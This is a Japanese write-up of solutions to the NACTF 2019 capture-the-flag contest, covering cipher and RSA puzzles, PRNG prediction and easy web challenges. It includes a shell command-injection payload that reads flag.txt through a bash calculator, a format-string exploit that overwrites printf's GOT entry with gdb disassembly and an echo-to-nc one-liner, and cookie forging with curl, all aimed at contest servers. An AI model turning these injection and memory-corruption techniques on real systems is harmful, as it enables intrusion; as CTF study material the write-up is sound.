NACTF writeup

はじめに

ちまちまやってました。

f:id:kent056-n:20190923143513p:plain

自分が解いた問題の中で記憶にあるものについてwriteupを書きます。

Cryptography

Vyom's Soggy Croutons - 50

以下問題文。シーザー暗号なので適当に復号しておわり。

Vyom was eating a CAESAR salad with a bunch of wet croutons when he sent me this:

ertkw{vk_kl_silkv}

Can you help me decipher his message?

The20thDuck

Loony Tunes - Cryptography 50

以下問題文。

Ruthie is very inhumane. She keeps her precious pigs locked up in a pen. I heard that this secret message is the password to unlocking the gate to her PIGPEN. Unfortunately, Ruthie does not want people unlocking the gate so she encoded the password. Please help decrypt this code so that we can free the pigs!

P.S. "_" , "{" , and "}" are not part of the cipher and should not be changed

P.P.S the flag is all lowercase

f:id:kent056-n:20190923015448j:plain

換字式暗号っぽいのでquipquipに突っ込む。それっぽいものを選んでおわり。 quipqiup.com

Dr. J's Group Test Randomizer: Board Problem #0 - Cryptography 100

以下問題文。

Dr. J created a fast pseudorandom number generator (prng) to randomly assign pairs for the upcoming group test. Leaf really wants to know the pairs ahead of time... can you help him and predict the next output of Dr. J's prng? Leaf is pretty sure that Dr. J is using the middle-square method.

nc shell.2019.nactf.com 31425

The server is running the code in class-randomizer-0.c. Look at the function nextRand() to see how numbers are being generated!

渡されたソースコードを見ると、次回乱数生成が雑なことに気づく。

uint64_t nextRand() {
  // Keep the 8 middle digits from 5 to 12 (inclusive) and square.
  seed = getDigits(seed, 5, 12);
  seed *= seed;
  return seed;
}

とりあえず出力をみてみる。

 $ nc shell.2019.nactf.com 31425

Welcome to Dr. J's Random Number Generator v1!
[r] Print a new random number
[g] Guess the next two random numbers and receive the flag!
[q] Quit

> r
4768849498718449
> r
7216480582916641
> r
2309599333840681

あとは適当に次の乱数を予測する。

>>> import math
>>> math.sqrt(4768849498718449)
69056857.0
>>> math.sqrt(7216480582916641)
84949871.0
>>> math.sqrt(2309599333840681)
48058291.0
>>> 59933384 ** 2
3592010517691456
>>> 1051769 ** 2
1106218029361

予測した乱数を入力して終わり。

 nc shell.2019.nactf.com 31425

Welcome to Dr. J's Random Number Generator v1!
[r] Print a new random number
[g] Guess the next two random numbers and receive the flag!
[q] Quit

. . .
> g

Guess the next two random numbers for a flag! You have a 0.0000000000000000000000000000001% chance of guessing both correctly... Good luck!
Enter your first guess:
> 3592010517691456

Wow, lucky guess... You won't be able to guess right a second time.
Enter your second guess:
> 1106218029361

What? You must have psychic powers... Well here's your flag: nactf{1_l0v3_chunky_7urn1p5}

Reversible Sneaky Algorithm #0 - 125

以下問題文。

Yavan sent me these really large numbers... what can they mean? He sent me the cipher "c", the private key "d", and the public modulus "n". I also know he converted his message to a number with ascii. For example:

"nactf" --> \x6e61637466 --> 474080310374

Can you help me decrypt his cipher?

以下のファイルが添付されている。秘密鍵があるので復号しておわり。

n: 140971369982728290584003929856637011308685429687969594429997821710108459830116393789723684079062708514036299475509430542212659734507429142853158004794834935174746493412962154796160975546005828130717579132438781804174244070129160649779404165370266408790722528108474736698480388956217393838955462967989235557729
d: 3210396717872682205420233842120187670754123682946955455494937957220148561826887372494355836977601850209792589944578254791223196877372140862540829182847721214418314564429696694983379689813325142035328881707722441498876726169675843996078221651180111278667814216844121752144791638682520989591783787929482763483
c: 7597447581111665937753781070914281099248138767561231457808924842755340796976767584904483452403406793827996034815852778012984740739361969304711271790657255334745163889379518040725967970769121270606356380463906882556650693485795903105298437519246733021136433493998710761239540681944709850299154477898517149127

Reversible Sneaky Algorithm #1 - 275

以下問題文。

Lori decided to implement RSA without any security measures like random padding. Must be deterministic then, huh? Silly goose!

She encrypted a message of the form nactf{****} where the redacted flag is a string of 4 lowercase alphabetical characters. Can you decrypt it?

As in the previous problem, the message is converted to a number by converting ascii to hex.

以下のファイルも添付されていた。

n = 22211149480575639993429030519324903433947913532364781040868963328192510711356813047019777682976897694523708823502748768149007288902843985412808705624398873301639600888468250478096471710461804856036409585519537946352413960371213677893523940481424813184421465313214067723492301317054407961642320909213358344993453825109139928083868146685834149311590508677641684185974469669019522897333475910002506624356655715375691861599282035176111228787146595035293770294934083506588432931535561733381730924617763450268288785249430304809062568532772866407535937947253602671915278827388538023000320823892308918791287865032550658101647
e = 65537
c = 17092019895398435490936645877681389522100314381280314137324590582626113380519883878346612680436149571504342956062627199254592419000136198748264157134720216337534802137245374257104787163473593768075381161119603573787923015405105192411372689756878820005036480013443173993126005361536816259899310244534769833694660355126920566669139672444357708161337389888825104348833002955918763849005061351140425567156148202269336347554989169075541289307981444741551677799416273481457219933391047628725337828725080079301570909831609401028488393457876225318163558871115320155827798534306397644894097358075465535794590825299057956641732

FLAGの文字が短いので、暗号化してcになるものを総当たりで見つけておわり。

import string
import binascii
n = 22211149480575639993429030519324903433947913532364781040868963328192510711356813047019777682976897694523708823502748768149007288902843985412808705624398873301639600888468250478096471710461804856036409585519537946352413960371213677893523940481424813184421465313214067723492301317054407961642320909213358344993453825109139928083868146685834149311590508677641684185974469669019522897333475910002506624356655715375691861599282035176111228787146595035293770294934083506588432931535561733381730924617763450268288785249430304809062568532772866407535937947253602671915278827388538023000320823892308918791287865032550658101647
e = 65537
c = 17092019895398435490936645877681389522100314381280314137324590582626113380519883878346612680436149571504342956062627199254592419000136198748264157134720216337534802137245374257104787163473593768075381161119603573787923015405105192411372689756878820005036480013443173993126005361536816259899310244534769833694660355126920566669139672444357708161337389888825104348833002955918763849005061351140425567156148202269336347554989169075541289307981444741551677799416273481457219933391047628725337828725080079301570909831609401028488393457876225318163558871115320155827798534306397644894097358075465535794590825299057956641732
S = string.ascii_lowercase
m = 0
for i in S:
  for j in S:
    for k in S:
      for l in S:
        s = binascii.hexlify(bytes("nactf{" + i + j + k + l + "}", 'utf-8'))
        m = int(s.decode("utf-8"), 16)
        if pow(m, e, n) == c:
          print(binascii.unhexlify(hex(m)[2:]).decode())
          exit()

General Skills

SHCALC

以下問題文。

John's written a handy calculator app - in bash! Too bad it's not that secure...

Connect at nc shell.2019.nactf.com 31214

適当に接続すると電卓みたいなことができる。コマンドを入力してみたらflagが見れた。

> 1+1
2
> $(cat flag.txt)
sh: 1: arithmetic expression: expecting EOF: "nactf{3v4l_1s_3v1l_dCf80yOo}"

Binary Exploitation

Format #1 - 250

以下問題文。

printf can do more than just read memory... can you change the variable?

Connect at nc shell.2019.nactf.com 31560

問題ファイルはこちらの通り。

#include <stdio.h>
#include <stdlib.h>

void win()
{
    char flag[256];
    FILE* f = fopen("./flag.txt", "r");
    if (f == NULL)
    {
        puts("flag.txt not found - ping us on discord if this is happening on the shell server\n");
        exit(1);
    }
    else
    {
        fgets(flag, sizeof(flag), f);
        puts(flag);
    }
}

void vuln(int* num)
{
    char buf[64];
    printf("Type something>");
    fgets(buf, sizeof(buf), stdin);
    printf("You typed: ");
    printf(buf);
}

int main()
{
    /* Disable buffering on stdout */
    setvbuf(stdout, NULL, _IONBF, 0);

    int num = 0;

    vuln(&num);

    if (num == 42)
    {
        puts("You win!");
        win();
    }
    else
    {
        printf("%d != 42, try again", num);
    }

    return 0;
}

FSAができそう。とりあえず試してみる。

$ ./format-1
Type something>AAAA %x %x %x %x %x %x
You typed: AAAA 40 f76e3c20 f75a63bc 41414141 20782520 25207825

vuln関数をみてみる。雑にprintf関数が呼ばれた時にwin関数が呼びだされるようにしてみる。

gdb-peda$ disas vuln
Dump of assembler code for function vuln:
   0x08049222 <+0>:   push   ebp
   0x08049223 <+1>:   mov    ebp,esp
   0x08049225 <+3>:   sub    esp,0x48
   0x08049228 <+6>:   sub    esp,0xc
   0x0804922b <+9>:   push   0x804a06a
   0x08049230 <+14>:  call   0x8049030 <printf@plt>
   0x08049235 <+19>:  add    esp,0x10
   0x08049238 <+22>:  mov    eax,ds:0x804c040
   0x0804923d <+27>:  sub    esp,0x4
   0x08049240 <+30>:  push   eax
   0x08049241 <+31>:  push   0x40
   0x08049243 <+33>:  lea    eax,[ebp-0x48]
   0x08049246 <+36>:  push   eax
   0x08049247 <+37>:  call   0x8049040 <fgets@plt>
   0x0804924c <+42>:  add    esp,0x10
   0x0804924f <+45>:  sub    esp,0xc
   0x08049252 <+48>:  push   0x804a07a
   0x08049257 <+53>:  call   0x8049030 <printf@plt>
   0x0804925c <+58>:  add    esp,0x10
   0x0804925f <+61>:  sub    esp,0xc
   0x08049262 <+64>:  lea    eax,[ebp-0x48]
   0x08049265 <+67>:  push   eax
   0x08049266 <+68>:  call   0x8049030 <printf@plt>
   0x0804926b <+73>:  add    esp,0x10
   0x0804926e <+76>:  nop
   0x0804926f <+77>:  leave
   0x08049270 <+78>:  ret
End of assembler dump.

printf関数のアドレスを調べておく。

gdb-peda$ disas printf
Dump of assembler code for function printf@plt:
   0x08049030 <+0>:   jmp    DWORD PTR ds:0x804c00c
   0x08049036 <+6>:   push   0x0
   0x0804903b <+11>:  jmp    0x8049020
End of assembler dump.

次にwin関数のアドレスを調べておく。

gdb-peda$ disas win
Dump of assembler code for function win:
   0x080491b2 <+0>:   push   ebp
   0x080491b3 <+1>:   mov    ebp,esp
   0x080491b5 <+3>:   sub    esp,0x118
   0x080491bb <+9>:   sub    esp,0x8
   0x080491be <+12>:  push   0x804a008
   0x080491c3 <+17>:  push   0x804a00a
   0x080491c8 <+22>:  call   0x8049090 <fopen@plt>
   0x080491cd <+27>:  add    esp,0x10
   0x080491d0 <+30>:  mov    DWORD PTR [ebp-0xc],eax
   0x080491d3 <+33>:  cmp    DWORD PTR [ebp-0xc],0x0
   0x080491d7 <+37>:  jne    0x80491f3 <win+65>
   0x080491d9 <+39>:  sub    esp,0xc
   0x080491dc <+42>:  push   0x804a018
   0x080491e1 <+47>:  call   0x8049050 <puts@plt>
   0x080491e6 <+52>:  add    esp,0x10
   0x080491e9 <+55>:  sub    esp,0xc
   0x080491ec <+58>:  push   0x1
   0x080491ee <+60>:  call   0x8049060 <exit@plt>
   0x080491f3 <+65>:  sub    esp,0x4
   0x080491f6 <+68>:  push   DWORD PTR [ebp-0xc]
   0x080491f9 <+71>:  push   0x100
   0x080491fe <+76>:  lea    eax,[ebp-0x10c]
   0x08049204 <+82>:  push   eax
   0x08049205 <+83>:  call   0x8049040 <fgets@plt>
   0x0804920a <+88>:  add    esp,0x10
   0x0804920d <+91>:  sub    esp,0xc
   0x08049210 <+94>:  lea    eax,[ebp-0x10c]
   0x08049216 <+100>: push   eax
   0x08049217 <+101>: call   0x8049050 <puts@plt>
   0x0804921c <+106>: add    esp,0x10
   0x0804921f <+109>: nop
   0x08049220 <+110>: leave
   0x08049221 <+111>: ret
End of assembler dump.

printf関数のアドレス0x804c00cをwin関数のアドレス0x080491b2に書き換えれば良さそう。
あとは適当にアドレスの計算をする。

>>> 0x91b2 - 8
37290
>>> 0x10804 - 0x91b2
30290

最後に以下のコマンドを実行して終了。

$ echo -e "\x0c\xc0\x04\x08\x0e\xc0\x04\x08%37290x%4\$hn%30290x%5\$hn" | nc shell.2019.nactf.com 31560

FLAGはnactf{Pr1ntF_wr1t3s_t0o_rZFCUmba}でした。

Web Exploitation

Pink Panther - 50

ピンクパンサーが表示される。良い。 f:id:kent056-n:20190923150601p:plain

ページのソースを表示して終了。

<!DOCTYPE html>
<html>
<head>
    <title>The Pink Panther</title>
</head>
<body>
<h1>I love the Pink Panther!</h1>
<!--Your flag is nactf{1nsp3ct_b3tter_7han_c10us3au}-->
<img src="https://yt3.ggpht.com/a/AGF-l78vCrsJA9dcV-WpumKDHji5nDADLuCQtvoynQ=s900-c-k-c0xffffffff-no-rj-mo">
</body>
</html>

Scooby Doo - 100

flagが途中まで表示されている。とりあえずclickするやつはガン無視する。

f:id:kent056-n:20190923150113p:plain

ページのソースを表示すると隠れている画像もみることができる。あとは画像の配置位置から並び替えて終わり。

    <div id="flagContainer">
        <img class="letter" src="a.png" style="opacity: 0; left:860px;">
        <img class="letter" src="b.png" style="opacity: 0.2; top: 5px; left:240px;">
        <img class="letter" src="c.png" style="opacity: 0; top: 5px; left:820px;">
        <img class="letter" src="d.png" style="opacity: 0; top: 5px; left:740px;">
        <img class="letter" src="e.png" style="opacity: 0; left:780px;">
        <img class="letter" src="f.png" style="opacity: 0; top: 10px;left:530px;">
        <img class="letter" src="g.png" style="top: 10px; left:20px;">
        <img class="letter" src="h.png" style="opacity: 0; left:570px;">
        <img class="letter" src="i.png" style="opacity: 0; left:440px;">
        <img class="letter" src="j.png" style="opacity: 0.3; top: 5px; left:200px;">
        <img class="letter" src="k.png" style="opacity: 0; left:700px;">
        <img class="letter" src="l.png" style="opacity: 0.4; top: 10px;left:160px;">
        <img class="letter" src="m.png" style="opacity: 0.8; left:50px;">
        <img class="letter" src="n.png" style="opacity: 0.05; top: 10px;left:320px;">
        <img class="letter" src="o.png" style="opacity: 0.6; top: 20px; left:90px;">
        <img class="letter" src="p.png" style="opacity: 0; top: 10px; left:660px;">
        <img class="letter" src="q.png" style="opacity: 0; top: -5px; left:610px;">
        <img class="letter" src="r.png" style="opacity: 0; top: 5px; left:400px;">
        <img class="letter" src="s.png" style="opacity: 0.5; top: 5px; left:120px;">
        <img class="letter" src="t.png" style="opacity: 0.1; left:280px;">
        <img class="letter" src="u.png" style="opacity: 0; left:360px;">
        <img class="letter" src="v.png" style="opacity: 0; top: 5px; left:480px;">
    </div>

Dexter's Lab - 125

SQL問だった。いつものやつをとりあえず入力。 f:id:kent056-n:20190923145544p:plain

おわり。FLAGはこちらの通り。 f:id:kent056-n:20190923145611p:plain

Sesame Street - 150

適当に指定された。Cookieをセットしてリクエストを送れば終わり。

$ curl 'http://sesamestreet.web.2019.nactf.com/flag.php' -H 'Connection: keep-alive' -H 'Upgrade-Insecure-Requests: 1' -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3' -H 'Referer: http://sesamestreet.web.2019.nactf.com/countdown.php' -H 'Accept-Encoding: gzip, deflate' -H 'Accept-Language: en-US,en;q=0.9,ja;q=0.8' -H 'Cookie: session-time=1569163578000' --compressed --insecure
<!DOCTYPE HTML>
<html>
<head>
    <title>Welcome!</title>
    <link rel="stylesheet" href="styles.css">
</head>

<body>
    <div class="vertical-menu">
        <a href="/">Home</a>
        <a href="countdown.php">Countdown</a>
        <a href="flag.php" class="active">Flag</a>
    </div>
    <br>
    <p>Thank you for waiting. Here's your flag: nactf{c000000000ki3s}</p>
</body>
</html>⏎